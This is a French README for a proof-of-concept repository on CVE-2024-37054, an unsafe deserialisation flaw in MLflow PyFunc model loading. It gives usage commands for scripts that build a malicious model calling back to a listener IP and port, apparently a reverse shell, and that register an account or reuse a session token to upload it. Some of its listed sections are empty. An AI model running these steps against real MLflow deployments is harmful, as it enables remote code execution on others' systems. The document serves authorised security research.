
Dépôt de preuve de concept et de recherche pour CVE-2024-37054, une vulnérabilité de désérialisation non sécurisée dans le chargement de modèles MLflow PyFunc pouvant mener à une exécution de code à distance.
Ce dépôt documente la recherche sur CVE-2024-37054, un problème de désérialisation non sécurisée affectant la gestion des modèles PyFunc de MLflow.
Dans les versions affectées de MLflow, le chargement d'un modèle PyFunc non fiable peut amener la logique de désérialisation Python à traiter un objet sérialisé contenant un comportement contrôlé par l'attaquant. Si un artefact non fiable est chargé, du code peut s'exécuter avec les permissions de l'utilisateur ou du service effectuant l'opération de chargement du modèle.
Les versions affectées signalées dans les avis publics incluent :
MLflow 0.9.0 through 2.14.1
Le risque principal n'est pas simplement le « téléversement d'un modèle ». Le danger survient lorsqu'une application, un analyste, un worker ou une plateforme ML charge un artefact de modèle sérialisé non fiable.
L'impact potentiel inclut :
build_model.py
Crée un artefact de modèle de test contrôlé destiné à être utilisé dans un environnement de laboratoire privé et autorisé.
exploit.py
Automatisation de preuve de concept privée utilisée uniquement pour valider le chemin de vulnérabilité dans un environnement de formation autorisé. Ce dépôt n'inclut pas de cibles actives, d'identifiants, de jetons de session, de fichiers de configuration VPN ni de charges utiles destructrices.
Exécutez cette preuve de concept uniquement dans un environnement de laboratoire autorisé.
Créez l'artefact de modèle contrôlé :
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Si vous ne disposez pas déjà d'une session authentifiée, utilisez le mode d'enregistrement automatique :
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Ce mode crée un compte de laboratoire temporaire, s'authentifie auprès de l'application et poursuit avec le flux de travail d'enregistrement et de validation du modèle.
Si vous disposez déjà d'une session autorisée valide, transmettez-la directement :
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Remplacez :
<YOUR_IP> par l'adresse IP joignable depuis la cible de laboratoire autorisée.4444 par le port d'écoute utilisé dans votre laboratoire.<SESSION_TOKEN> par la valeur de votre session autorisée active.Ne publiez jamais de jetons de session réels, d'identifiants, de fichiers VPN, d'adresses de cible ou de détails de rappel.
Les organisations utilisant MLflow doivent traiter les artefacts de modèles comme des entrées non fiables, sauf si leur origine et leur intégrité ont été vérifiées.
Mesures de protection recommandées :
Ce projet est destiné uniquement à la recherche défensive, à l'éducation et aux tests de sécurité autorisés. Le flux de travail de preuve de concept a été évalué uniquement dans un environnement de formation contrôlé. Ne testez pas cette vulnérabilité contre des systèmes, des comptes, des services ou des réseaux sans autorisation écrite explicite.